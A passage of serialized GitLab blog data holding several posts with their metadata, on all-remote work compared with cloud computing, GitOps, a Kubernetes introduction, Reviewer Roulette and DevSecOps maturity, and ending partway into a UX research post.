being able to work from home, but the idea of a company that is *fully* remote is a strange and [wondrous thing](/blog/all-remote-is-for-everyone/). Occasionally, I also encounter people for whom remote is an inconceivable concept. They argue it cannot be done, and won’t work, despite the fact that we (and a [growing list of others](/company/culture/all-remote/jobs/)) continue to thrive as a successful all-remote organization.\n\nThe rise of the remote workplace draws many parallels to the rise of [cloud computing](/blog/google-cloud-next-anthos-kubernetes/).\n\n## Bringing cloud computing to the mainstream\n\nWhile many were comfortable with the idea of network computing for a long time, the notion of cloud computing started to appear with more frequency at the turn of the millennium, championed by companies like Google and Amazon.\n\nThe notion behind cloud computing was that users could access their files, programs and even their compute resources over the network, and potentially from somewhere that was entirely removed from their physical location. There was no physical data center specific to that organization. The capability offered was important but the physical location of the resources was less relevant, as long as it met the users’ requirements.\n\nInitially, those requirements were challenging. Performance, reliability, and security were closely critiqued, but the *primary* challenge for humans was this: They would have to trust something they could not physically touch.\n\nAs confidence and familiarity with cloud computing increased, software as a service (SaaS) companies emerged. Salesforce and Workday were designed to run in the cloud from inception – and as they became successful, a bevy of SaaS applications emerged. Many companies, GitLab included, offer options for both on-premises and SaaS versions of their applications, and discussions in data centers are about migrating or modernizing legacy mission-critical applications to a cloud environment – a once unthinkable idea.\n\nCloud, once scoffed at by many, is now an expected part of most firms’ [strategic technology portfolio](/blog/kubernetes-chat-with-kelsey-hightower/).\n\n![Focus on outputs, not inputs such as being seen in an office](https://about.gitlab.com/images/blogimages/working-remotely-el-salvador.jpg){: .shadow.medium.center}\nFocus on outputs, not inputs such as being seen in an office.\n{: .note.text-center}\n\n## The evolution of the remote workplace\n\nA similar progression is occurring with remote work. Working off-premises has occurred for years, but it was typically reserved for certain positions or types of companies, and certainly was not a mainstream option.\n\nMany companies that offer remote work are [hybrid-remote](/company/culture/all-remote/hybrid-remote/), where an employee may work remotely, but the bulk of the company reports to a physical infrastructure, either centralized or distributed. The rise of [all-remote companies](/company/culture/all-remote/) such as GitLab is analogous to the rise of cloud-based companies such as Salesforce or Workday. We are starting to see other all-remote companies form and at GitLab we expect all-remote will become more common as we develop [best practices](/company/culture/all-remote/meetings/) and evolve more [efficient ways](/company/culture/all-remote/management/) of working remotely.\n\nWe believe that [all-remote is the future of work](/blog/all-remote-is-for-everyone/) – that it will be as likely that an organization is remote as not — particularly if physical manufacturing isn’t involved.\n\n## What all-remote and cloud computing have in common\n\nIn addition to the similarities in how they evolved, many of the benefits of cloud computing have analogues to those of remote work. Some of the cloud benefits we also see with remote working include:\n\n1. Increased agility: Remote work increases an organization’s flexibility to add, expand, or deploy employees in line with the company’s needs.\n1. Cost reductions: Many capital expenditures arguably become operational in all-remote workplaces. The lack of physical infrastructure to lease or buy and maintain offers cost savings to companies. This also lowers barriers to entry for new companies entering the market.\n1. Employee (compute) location independence: Distributed workplaces enables companies to attract and hire the best talent regardless of location, just as users can connect to the company from anywhere they have adequate Internet access.\n1. Productivity often increases as [asynchronous communication](/company/culture/all-remote/informal-communication/) allows multiple employees to work on the same data simultaneously, rather than waiting for synchronous meetings that function like bottlenecks.\n\nThis innovative deployment of people is strikingly similar to the innovative deployment of cloud computing. The key challenge the same for cloud and remote: Organizations need to [trust](/company/culture/all-remote/management/) the model and realize the [benefits](/company/culture/all-remote/benefits/) for themselves.\n\nCover image by [Darren Murph](https://twitter.com/darrenmurph)\n{: .note}\n",[754,676,3798],{"slug":26686,"featured":6,"template":678},"parallels-between-all-remote-and-cloud-computing","content:en-us:blog:parallels-between-all-remote-and-cloud-computing.yml","Parallels Between All Remote And Cloud Computing","en-us/blog/parallels-between-all-remote-and-cloud-computing.yml","en-us/blog/parallels-between-all-remote-and-cloud-computing",{"_path":26692,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26693,"content":26699,"config":26704,"_id":26706,"_type":16,"title":26707,"_source":17,"_file":26708,"_stem":26709,"_extension":20},"/en-us/blog/optimize-gitops-workflow",{"title":26694,"description":26695,"ogTitle":26694,"ogDescription":26695,"noIndex":6,"ogImage":26696,"ogUrl":26697,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26697,"schema":26698},"Optimize GitOps workflow with version control from GitLab","A GitOps workflow improves development, operations and business processes and GitLab’s CI plays a vital role.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673081/Blog/Hero%20Images/gitops-image-unsplash.jpg","https://about.gitlab.com/blog/optimize-gitops-workflow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Optimize GitOps workflow with version control from GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brein Matturro\"}],\n        \"datePublished\": \"2019-10-28\",\n      }",{"title":26694,"description":26695,"authors":26700,"heroImage":26696,"date":26701,"body":26702,"category":813,"tags":26703},[24484],"2019-10-28","\nGitOps is a way for IT operations to manage changes across infrastructure and development teams. At GitLab\nConnect in Denver, [Tyler Sparks](https://www.linkedin.com/in/sparksconcept/), principal engineer and\nowner of Sparks Concept, presented a talk on why GitOps is a productive workflow and how\nusing GitLab can increase communication and version control.\n\n[GitOps](/topics/gitops/) uses infrastructure as code but with processes in place on top of it, including extensive use of\nmerge requests for everything from policy to infrastructure changes. “Success for most companies and\nengineering groups is based on the interactions of a large, complex, distributed system,” Tyler says.\nThe goal of GitOps is to incorporate Git beyond development and operations teams, improving the\nbusiness as a whole with the right tool. “It's a really cool way that GitLab integrates and it's a way to\nshift things left in your organization.”\n\n## The Git in GitOps\n\n“Git is the single source of truth. You shouldn’t be able to make any change outside of Git,” Tyler says. This creates one clean transaction between teams. Git establishes a unified location for anything from security, infrastructure changes, deployments, process changes, and even the integration of other tools. “Git is serving as the glue to make these safe transitions so that you can move faster as a team,” Tyler says.\n\nCreating that interaction between groups is often elaborate and difficult to manage. “Anyone building software these days is finding it more and more complex...everything is changing, the landscape is constantly changing,” Tyler says. Services are being run on stacks upon stacks and there is a lot of risk involved in maintenance. A tool, like [GitLab CI](/solutions/continuous-integration/), simplifies the processes and grants visibility.\n\n## GitOps best practices\n\nIn a GitOps workflow, where one simple change can impact three different teams, a strong [version control is imperative for communication](/topics/version-control/). Between disparate tools and poorly defined handoffs, the solution is to move into one repository for all tools and teams. With one overarching repository, “You can have a bunch of parallel workstreams running safely… you will have minimum viable change and a way to observe it,” Tyler says.\n\nWith GitLab’s version control system in place, teams can see what’s going on to work together and to know what change is going to impact where. “GitLab CI is one of the original products that made it possible to start to take an integrative view of the system,” Tyler says. “This is the penultimate way to [promote collaboration](/topics/gitops/gitops-gitlab-collaboration/) and to break down silos within an organization. GitLab is a tool that helps with that.”\n\nGitLab’s version control not only safeguards the infrastructure, but ultimately trickles throughout the entire enterprise. “As companies adopt GitLab, they’re not just more successful with their technology...it really comes down to how they’re functioning as a group,” Tyler says. “GitLab encourages some really good practices around development and how teams interact.”\n\n>“That’s why GitLab is the clear winner...They’re not just leading Gartner and Forrester because they paid somebody off. They’re actually an amazing tool.” Tyler Sparks, principal engineer and owner of Sparks Concept\n\nLearn more about GitOps best practices and Tyler’s work with GitLab CI in his presentation below:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/5ykRuaZvY-E\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nCover image by [David Rangel](https://unsplash.com/@rangel) on [Unsplash](https://unsplash.com)\n{: .note}\n",[1067,1268,232,4772],{"slug":26705,"featured":6,"template":678},"optimize-gitops-workflow","content:en-us:blog:optimize-gitops-workflow.yml","Optimize Gitops Workflow","en-us/blog/optimize-gitops-workflow.yml","en-us/blog/optimize-gitops-workflow",{"_path":26711,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26712,"content":26718,"config":26723,"_id":26725,"_type":16,"title":26726,"_source":17,"_file":26727,"_stem":26728,"_extension":20},"/en-us/blog/kubernetes-101",{"title":26713,"description":26714,"ogTitle":26713,"ogDescription":26714,"noIndex":6,"ogImage":26715,"ogUrl":26716,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26716,"schema":26717},"Getting Started with Kubernetes","Pods, nodes, clusters – oh my! Get the lowdown on Kubernetes from Brendan O'Leary's talk at Contribute 2019.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678474/Blog/Hero%20Images/clouds_kubernetes101.jpg","https://about.gitlab.com/blog/kubernetes-101","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Getting Started with Kubernetes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-10-24\",\n      }",{"title":26713,"description":26714,"authors":26719,"heroImage":26715,"date":26720,"body":26721,"category":813,"tags":26722},[17272],"2019-10-24","\nKube-uh-not-a-clue?\n\nIt's the most common response to anyone who hears the term “Kubernetes” for the first time. If Kubernetes is, quite literally, Greek to you, then this blog post and [the corresponding video](https://www.youtube.com/watch?v=rq4GZ_GybN8) are two good places to start.\n\nWhile at [Contribute 2019](/blog/how-we-scaled-our-summits/), senior solutions manager [Brendan O’Leary](/company/team/#brendan) gave a presentation explaining the nuts and bolts of Kubernetes and how we use this open source tool at GitLab.\n\n## What is Kubernetes?\n\n“[Kubernetes](https://kubernetes.io/) is an open source system for automating deployment, scaling, and management of containerized applications,” according to the [Cloud Native Computing Foundation (CNCF)](https://www.cncf.io/).\n\n>“You'll hear [Kubernetes] called a lot of different things. You'll hear people say, ‘Well, it's a container scheduler.’ You'll hear people say it's a desired state manager. You'll hear people say it's an orchestrator,” says Brendan. “All these things just basically boil down to it's _a system that keeps the system how we want it to be_, which sounds kind of crazy. But when we're a software company for software companies, you can relate a little bit.”\n\nSo a system that keeps the system how we want it to be, what does that mean exactly?\n\nTo understand what Kubernetes is and what it does, it’s best to dig a bit deeper into the origin story of this technology.\n\nThe journey to Kubernetes started at Google, when infrastructure developers were searching for a way to deploy new applications on hundreds of thousands of globally distributed servers. The result was Borg, a private tool developed by Google engineers for this purpose. The engineers iterated on Borg to launch Project Seven – an open source project that wasn’t entirely Borg, but took elements of Borg to produce version 1.0 of Kubernetes.\n\nKubernetes, which translates from Greek to “pilot,\" “helmsman,” or \"governor,\" is managed by CNCF, a foundation created by Google and Linux to house Kubernetes and other open source computing projects.\n\n## The benefits of Kubernetes\n\nKubernetes is highly portable across multiple cloud platforms and simplifies container management across however many of them are in use. Kubernetes make it easy to achieve greater scalability, flexibility, and productivity. \n\nAnother big benefit of Kubernetes is of course the fact that it’s open source – it’s continuously improved and updated so that there are minimal workflow interruptions.\n\n## What features does Kubernetes offer?\n\nKubernetes is one of the fastest growing open-source software projects around today. Here are some of the reasons why:\n\n* Deployments can be sent to one cloud or multiple cloud services without losing any application functionality or performance.\n\n* Kubernetes automation capabilities handle scheduling and deploying containers regardless of where it comes from (on-premise, cloud, or other). The automation also auto-scales up and down to increase efficiency and reduce waste and it creates new containers if dealing with a heavy workload.\n\n* Kubernetes allows for rolling back an application change if something goes wrong. \n\n* The open-source nature of Kubernetes lets users take advantage of a vast ecosystem of open-source tools.\n\n* The software is never outdated due to previously launched versions – it is always updating.\n\n## The role of containers\n\nContainers are a lightweight technology that lets you securely run an application and its dependencies without impacting other containers or your operating system (OS). This makes containers more nimble and scalable than using other tools for application management, like virtual machines (VMs) or bare metal. Like VMs, containers can repeat the application as it’s in development, but unlike VMs, the container does not duplicate the OS each time and instead shares the infrastructure, container technology (e.g., Docker), and OS with the host computer. Containers are lightweight and easier to run on the cloud because the OS is not duplicated along with the application, but container technology can be challenging to manage without a tool.\n\n“As you get more and more containers... it has a huge advantage technically, but it really creates a mess as to how are we managing all these containers,” says Brendan. “And there’s another problem – bare metal, virtual machines, containers, these all assume to some extent that you know what's going on with the computer that's running them.”\n\n![Evolution of containers](https://about.gitlab.com/images/blogimages/evolution_of_containers.png){: .shadow.medium.center}\nContainers make application deployment simpler, but containers are hard to orchestrate without a tool like Kubernetes.\n{: .note.text-center}\n\nBut orchestrating the various application deployments in containers is a level of abstraction that is difficult for the human mind to grapple with and is challenging to manage manually, which is where Kubernetes comes in.\n\n## Kubernetes as scheduler\n\nKubernetes is an open source container orchestrator that automates container management from deployment to scaling and operating.\n\nThere are a few key advantages to using Kubernetes, namely that the technology takes an extremely abstract method of application management – containers – and schedules the deployments to occur automatically.\n\nBrendan mentions other advantages to using Kubernetes, including that is can run routine health checks and is a very self-healing technology. A second key advantage to using Kubernetes for [DevOps](/topics/devops/) is that it is a declarative technology at its core. By using the [desired state manager](https://medium.com/@yannalbou/kubernetes-desired-state-4c5c4e873743), you can describe how you want your application to run and Kubernetes makes it happen.\n\n## Core Kubernetes concepts and definitions\n\n*   **Pod**: An abstraction that represents a group of one or more application containers. “The pod is just a unit that says these are the containers that represent the front end website, or these are the containers that represent the payment system,” explains Brendan.\n*   **Node**: A worker machine in Kubernetes that may be a VM or a physical machine (e.g., a computer), depending upon the cluster. The node often includes Docker, the pods (“group of containers”), and the VM or computer that includes the OS.\n*   **Cluster**: The highest level of abstraction in Kubernetes, it contains all the nodes, pods, and a **master** – which maintains the desired state of your application by orchestrating the nodes.\n*   **Service**: Defines a logical set of pods (e.g., “payment system”) and sets a policy about who can access them. “Pods come and go, but a service is forever,” or so the saying goes, Brendan says. “A pod is going to get scheduled into a node. But if that node went away, the fact that this pod is a member of this service means I've got to go find somewhere else to make a new pod that has this container running in it.” A service allows Kubernetes to route traffic to your application regardless of where the pod is running.\n\nThere are plenty of other buzzwords and phrases that are associated with Kubernetes, and Brendan dives into some of them in his presentation (captured in the video below). More concepts are explained on the [Kubernetes website at CNCF](https://kubernetes.io/docs/concepts/).\n\n## GitLab and Kubernetes\n\nThere are three key touchpoints between GitLab and Kubernetes:\n\n1. **GitLab is an application, so it can be run on Kubernetes.**\nIf a GitLab customer is already using a cloud native environment (i.e., containers and Kubernetes), then GitLab the application can be installed in that cloud native environment. We have already set-up [Helm Charts](https://docs.gitlab.com/charts/), which describe [how to install GitLab in a cloud native environment](https://docs.gitlab.com/charts/#installing-gitlab-using-the-helm-chart).\n2. **Customers that build their applications in GitLab using CI/CD can deploy to Kubernetes.**\nThe [Configure team at GitLab](/handbook/engineering/development/ops/configure/) works on the integration between GitLab and Kubernetes so developers can deploy their applications automatically to a Kubernetes cluster. [The GitLab and Kubernetes integration](https://docs.gitlab.com/ee/user/project/clusters/) allows customers to create and dismantle Kubernetes clusters, use review apps, run pipelines, deploy apps, view pod logs, detect and monitor Kubernetes, and much more. The Ops product teams at GitLab are always working to enhance the integration between Kubernetes and GitLab to make Auto DevOps faster and more efficient.\n3. **Moving our production system for GitLab.com to a Kubernetes cluster.**\nWe recently moved our giant GitLab.com application from Microsoft Azure [to a Google Cloud Platform](/blog/moving-to-gcp/). A key reason we changed platforms is that we wanted to move our GitLab.com project to a Kubernetes cluster. This project is ongoing but we are making major strides toward continuous deployment using Kubernetes.\n\n## Is Kubernetes easy to use?\n\nEveryone’s favorite answer: it depends. As with any software, there’s a learning curve to using Kubernetes (like having a basic understanding of how containers work). And it also may not be the right software fit for your needs. But if it is, adopting it doesn’t have to be complicated. \n\nKubernetes gives users the basic building blocks for creating developer projects while still allowing user flexibility where it’s needed. It can get a little more labor-intensive if users choose to build their own Kubernetes clusters rather than letting the service do it for them. But most companies don’t choose this route. \n\n## But wait, there’s more\n\nIf you have more questions, like why the heck Kubernetes is abbreviated to K8s, or are searching for more resources, you’re in luck. Brendan dives into more detail about some of the etymology, key concepts, vocabulary and even pop culture that shapes Kubernetes in his presentation. Watch the video below to learn more about how Kubernetes has been the impetus behind a major shift toward cloud native in the DevOps industry, and why we’re on the front lines of that change here at GitLab.\n\n### Watch\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/rq4GZ_GybN8\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n### Supplemental reading\n\n[Kubernetes and the open source community](/blog/kubernetes-chat-with-joe-beda/): A conversation between GitLab CEO [Sid Sijbrandij](/company/team/#sytses) and the co-creator of Kubernetes, Joe Beda.\n\n[Kubernetes and the future of cloud native](/blog/kubernetes-chat-with-kelsey-hightower/): Sid chats with Kelsey Hightower, Google staff developer advocate about cloud native.\n\n[Kubernetes, containers, cloud native – the basics](/blog/containers-kubernetes-basics/): Get a quick overview of the key Kubernetes concepts.\n\n[Kubernetes + GitLab](/solutions/kubernetes/): Explore how GitLab and Kubernetes interact at various touchpoints.\n\n[Cover Photo](https://unsplash.com/photos/9BJRGlqoIUk) by [Pero Kalimero](https://unsplash.com/@pericakalimerica?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/cloud?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[3949,2509],{"slug":26724,"featured":6,"template":678},"kubernetes-101","content:en-us:blog:kubernetes-101.yml","Kubernetes 101","en-us/blog/kubernetes-101.yml","en-us/blog/kubernetes-101",{"_path":26730,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26731,"content":26737,"config":26743,"_id":26745,"_type":16,"title":26746,"_source":17,"_file":26747,"_stem":26748,"_extension":20},"/en-us/blog/reviewer-roulette-one-year-on",{"title":26732,"description":26733,"ogTitle":26732,"ogDescription":26733,"noIndex":6,"ogImage":26734,"ogUrl":26735,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26735,"schema":26736},"Reviewer Roulette: (Just about) one year on","Learn how Reviewer Roulette has evolved at GitLab over the last year.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672195/Blog/Hero%20Images/play-reviewer-roulette.jpg","https://about.gitlab.com/blog/reviewer-roulette-one-year-on","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Reviewer Roulette: (Just about) one year on\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nick Thomas\"}],\n        \"datePublished\": \"2019-10-23\",\n      }",{"title":26732,"description":26733,"authors":26738,"heroImage":26734,"date":26740,"body":26741,"category":734,"tags":26742},[26739],"Nick Thomas","2019-10-23","\nJust over a year ago, [Dennis Tang](/company/team/#dennis)\nintroduced us to [Reviewer Roulette](/blog/play-reviewer-roulette/).\nThis was a shiny new tool designed to help us to find reviewers for our code.\nAt the time, our engineering department had around 150 people in it. At GitLab,\n[all our engineers are reviewers](/handbook/engineering/workflow/code-review/#reviewer),\nbut reviews were being unevenly distributed across them.\n\nA year on, and with more than 380 people in engineering available to review,\nwe're still using a form of Reviewer Roulette – but its implementation, and how\nwe interact with it, has changed significantly. So, what's changed, and what's\nstayed the same?\n\n## The good\n\nFirst off, roulette works really well. Code reviews can be time-consuming, and\nthey're a major part of quality control at GitLab, so it's crucial that we\ndistribute the load – research shows that [review quality nosedives](https://smartbear.com/learn/code-review/best-practices-for-peer-code-review/)\nif you spend too much time doing it. It's even more\nimportant for our maintainers. We try to maintain a ratio of engineers to maintainers of around\n4:1, but if half of the reviews go to a quarter of the maintainers, some will\nexperience it as 6:1, while others will experience it as 2:1.\n\nAlso, people could become familiar with certain reviewers and maintainers and\nhabitually assign their work to the same people. This means that people who had\nbeen maintainers for longer tended to get more reviews. Without the\nrandomization effect of Reviewer Roulette, this led to the creation of knowledge\nsilos, where knowledge about a particular subject would be concentrated in a few\nindividuals, rather than being spread across the organization.\n\nRoulette solved this for us with almost no cognitive load, and could scale\neffortlessly as our engineering team expands significantly. Sometimes, I first\nlearned someone new had joined the company through a review suggestion. The\nnumber and type of reviews a merge request needed was also increasing – I might\nneed to find a reviewer and maintainer for frontend, backend, QA, database,\ndocumentation, and UX concerns before merging. It's a lot to keep track of\nmanually!\n\n## The bad\n\nDespite the advantages of Reviewer Roulette, I used it inconsistently after a\nfew months, and never actually contributed any improvements to the code. The\nintegration with Slack didn't fit my workflow very well because a chat channel\nis the last place I want to be when working on code! I like to treat Slack as\nthe [informal, asynchronous](/handbook/communication/#slack) communication\nchannel it is designed to be, but it is too easy to be sidetracked by ongoing\nconversations when popping in to get a reviewer recommendation.\n\nThen, we began running into deployment problems, and sometimes Reviewer Roulette\njust wasn't available at all. It only took a few failed attempts before I fell\nout of the habit of trying to use it, and we never did get around to making the\ndeployment work with Auto DevOps.\n\nIt turns out that I wasn't the only one having trouble with this iteration of Reviewer Roulette – we found\nthat backend reviews were [very unevenly distributed](https://gitlab.com/gitlab-org/gitlab-foss/issues/53119#note_111796691). Reviewer Roulette wasn't being used widely enough across GitLab for us to experience\nall the benefits, and as we geared up to add many more maintainers, fixing\nthis tool became very important.\n\n## The fix\n\nIn the interim, staff backend engineer on Delivery, [Yorick Peterse](/company/team/#yorickpeterse), introduced\n[Danger bot](https://github.com/danger/danger) into GitLab's CI pipeline and\nused it to enforce a fine set of coding standards that we couldn't quite express\nwith Rubocop.\n\nThe new bot would leave polite messages on our MRs, asking us to write\n[better commit messages](https://docs.gitlab.com/ee/development/contributing/merge_request_workflow.html#commit-messages-guidelines),\nor to seek database review if we'd changed any files in `db/`. That last part got me\nthinking: Why couldn't the Danger bot pick a potential database reviewer for us at the same\ntime? What was stopping it from detecting backend, frontend, or documentation\nchanges, and using Reviewer Roulette to choose reviewers and maintainers right there in\nthe merge request?\n\n[Very little, it turned out](https://gitlab.com/gitlab-org/gitlab/merge_requests/13506#note_175449376):\n\n![Reviewer Roulette in Action](https://about.gitlab.com/images/blogimages/roulette-review.jpg)\n\nBy making Reviewer Roulette happen automatically in the merge request itself, we\nremoved all the barriers that were preventing us from using the tool. I no longer had to be\non Slack to find a reviewer, instead the list was right there in the merge request as\nI went to change the assignee. Danger was guaranteed to run on every pipeline –\nthere were no deployments or environments to worry about, and if it broke,\nfixing it was automatically [high priority](/handbook/engineering/workflow/#broken-master).\n\nContributing changes also became much easier – the code was right there in the\nGitLab repository, and changes took effect immediately (again, no deployments!).\n\n## What's next?\n\nThe ChatOps version of Reviewer Roulette needed access to GitLab's Slack\nworkspace to use and so it wasn't available to most of our community contributors\nbeyond the [core team](/handbook/marketing/developer-relations/core-team/). Moving Reviewer Roulette to Danger doesn't really solve this\nproblem – it doesn't work well on forks of the `gitlab-org/gitlab` project so\ncommunity contributors don't benefit. This problem is something I'd really\nlike to fix in the future, not least because I work on a fork of GitLab\nday-to-day as well.\n\nDanger is a good tool but it does have [some limitations](https://docs.gitlab.com/ee/development/dangerbot.html) –\nin particular, [`danger local`](https://danger.systems/guides/troubleshooting.html#i-want-to-work-locally-on-my-dangerfile)\ndoesn't work for GitLab. This slows down development, since you have to commit\nand push changes to your merge request before you can see the effects.\n\nAnother big problem is that this most recent iteration of Reviewer Roulette only\nworks for the `gitlab` project. None of our satellite projects - `gitaly`,\n`gitlab-workhorse`, `gitlab-pages`, `gitlab-runner`, etc. – can use this\nversion of Reviewer Roulette. Similarly, [users of GitLab haven't\nbenefited from the work we've been doing on Roulette](https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/24938#note_141874188).\nIdeally, we would have built this as a feature within GitLab itself, so everyone\ncould benefit from the tool.\n\nBy building Reviewer Roulette in Danger we've been able to protype and rapidly iterate\nto a solution that is working very well for the `gitlab` project. The next steps\nare to turn Reviewer Roulette [into a feature](https://gitlab.com/groups/gitlab-org/-/epics/1823) that all users of GitLab can benefit from, perhaps by leveraging the [CODEOWNERS file](https://gitlab.com/gitlab-org/gitlab/issues/12137).\n\nDo you have any ideas on how we can better integrate Reviewer Roulette into GitLab? Let us know by commenting [in the epic](https://gitlab.com/groups/gitlab-org/-/epics/1823)\nor by opening a new issue!\n\n[Cover photo](https://unsplash.com/photos/w6OniVDCfn0) by Krissia Cruz on [Unsplash](https://unsplash.com/search/photos/roulette).\n{: .note}\n",[1207,1444,4103],{"slug":26744,"featured":6,"template":678},"reviewer-roulette-one-year-on","content:en-us:blog:reviewer-roulette-one-year-on.yml","Reviewer Roulette One Year On","en-us/blog/reviewer-roulette-one-year-on.yml","en-us/blog/reviewer-roulette-one-year-on",{"_path":26750,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26751,"content":26756,"config":26761,"_id":26763,"_type":16,"title":26764,"_source":17,"_file":26765,"_stem":26766,"_extension":20},"/en-us/blog/advanced-devsecops-practices",{"title":26752,"description":26753,"ogTitle":26752,"ogDescription":26753,"noIndex":6,"ogImage":18456,"ogUrl":26754,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26754,"schema":26755},"How advanced are your DevSecOps practices?","Read here what the three levels of DevSecOps practices are and what they include and how to improve your own","https://about.gitlab.com/blog/advanced-devsecops-practices","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How advanced are your DevSecOps practices?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2019-10-21\",\n      }",{"title":26752,"description":26753,"authors":26757,"heroImage":18456,"date":26758,"body":26759,"category":8943,"tags":26760},[22656],"2019-10-21","\n[DevSecOps](/solutions/security-compliance/) doesn’t happen overnight – between team alignment, new\nresponsibilities, new processes, and automation, there is a lot that needs to\nhappen to reach an advanced state of DevSecOps. Then there's the question of\nwhat it means to be advanced. How do you know when you've reached a comfortably\nmature state? What defines a beginner or intermediate level of DevSecOps maturity?\n\n## Analysing your DevOps practicies?\n\nI set out to find answers to these questions and\ndiscovered a mountain of different measures. So instead of asking you to take your\nown journey through DevSecOps self-discovery, I compiled some points of maturity\nand segmented them into three classes: Beginner, intermediate, and advanced. The folks at the [2018 Open Security Summit](https://2018.open-security-summit.org/outcomes/tracks/owasp-samm/working-sessions/devsecops-maturity-model/) agree that\nDevSecOps maturity is generally evaluated across six dimensions: Technology, processes, culture, tools, automation, and information flow.\n\n## DevOps Maturity: Beginner\n\nTeams in the early phases of DevSecOps adoption show clear attempts to change\nthe inertia of their organizations, but don't yet have all people and processes\non board. A security mindset and culture is beginning to take hold in these early-stage teams. Testing may be interspersed throughout the development lifecycle, but\nsome of those tests may run manually. The processes and\noperations used by early-stage teams often lack transparency and standardization. This lack of clarity makes it difficult for teams to\nreproduce certain activities and requires developers figure out solutions\nfrom scratch when taking on a new project.\n\n## DevOps Maturity: Intermediate\n\nMany teams at an intermediate level of DevSecOps maturity have accepted\nthat security is everyone's responsibility – and dev, sec, and ops teams are\nlearning how to collaborate efficiently on software development. The pipeline\nintegrates automated security checks at a few points throughout the development lifecycle and provides visibility\ninto the actions taking place. Incident response may still lag behind these\nnewer developments, with teams reacting to incidents rather than proactively\ndefending against them.\n\n## DevOps Maturity: Advanced\n\nA mature DevSecOps practice is highly efficient and collaborative.\nDevelopers accept ownership of their security responsibilities and run tests\nagainst their code at every commit to ensure security and compliance. Each\nteam has visibility into an integrated toolchain (or better yet, [a single tool](/stages-devops-lifecycle/)),\nand developers work quickly within a self-service, easy to use, and\ncentralized platform at every phase. Automation helps teams test and remediate,\nminimizes back and forth between teams, and brings security to the speed of\nthe business.\n\nAs a whole, advanced DevSecOps practices take a proactive approach to security.\nCompliance and expectations are defined and standardized across teams. Testing\nshould evolve to anticipate the most likely targets for attack. Automated\nmonitoring will continue security efforts after launch, and response plans (for\nthe sec, dev, and ops teams) should be established in case of a breach.\n\n## DevSecOps is for everyone\n\nEach step toward DevSecOps is a step in the right direction – and it is increasingly\nrisky to leave security as a bolt-on operation. Regardless of size\nor history, every company can and should adopt DevSecOps for\nsoftware development. Strategies may vary: Nimble startups can adjust and\nadapt quickly, while larger incumbent businesses might begin with a pilot project,\nor choose to retrofit new security practices to established products.\n\nPhoto by Stanislav Kondratiev on [Unsplash](https://unsplash.com/s/photos/growth?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText).\n{: .note}\n",[4103,674],{"slug":26762,"featured":6,"template":678},"advanced-devsecops-practices","content:en-us:blog:advanced-devsecops-practices.yml","Advanced Devsecops Practices","en-us/blog/advanced-devsecops-practices.yml","en-us/blog/advanced-devsecops-practices",{"_path":26768,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26769,"content":26775,"config":26779,"_id":26781,"_type":16,"title":26782,"_source":17,"_file":26783,"_stem":26784,"_extension":20},"/en-us/blog/five-things-we-learned-from-you-in-recent-ux-research",{"title":26770,"description":26771,"ogTitle":26770,"ogDescription":26771,"noIndex":6,"ogImage":26772,"ogUrl":26773,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26773,"schema":26774},"5 Things we learned from you in recent UX research","How you use Snippets, whether to rename Auto DevOps, how to improve our billing process, and more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680847/Blog/Hero%20Images/seven-things-we-learned-from-you-in-recent-ux-research.jpg","https://about.gitlab.com/blog/five-things-we-learned-from-you-in-recent-ux-research","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 Things we learned from you in recent UX research\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2019-10-21\",\n      }",{"title":26770,"description":26771,"authors":26776,"heroImage":26772,"date":26758,"body":26777,"category":18484,"tags":26778},[22017],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nThis past quarter, the UX research team was charged with supporting some big [OKRs](https://about.gitlab.com/company/okrs/):\n\n* [Create](https://gitlab.com/gitlab-com/www-gitlab-com/issues/4932) products and experiences that users love and value.\n* Complete at least 5 qualitative interviews per Product Manager — part of scaling UX research across the org, which we’ll [continue](https://gitlab.com/gitlab-org/gitlab-design/issues/665) next quarter.\n* [Implement](https://gitlab.com/gitlab-org/ux-research/issues/362) a pilot of customer satisfaction surveys.\n\nThroughout all of it, researchers continued working to learn more about each [stage group](https://about.gitlab.com/handbook/product/categories/). Here are some of the highlights.\n\n### 1. Snippets can be an extremely useful knowledge base\n\n[Using 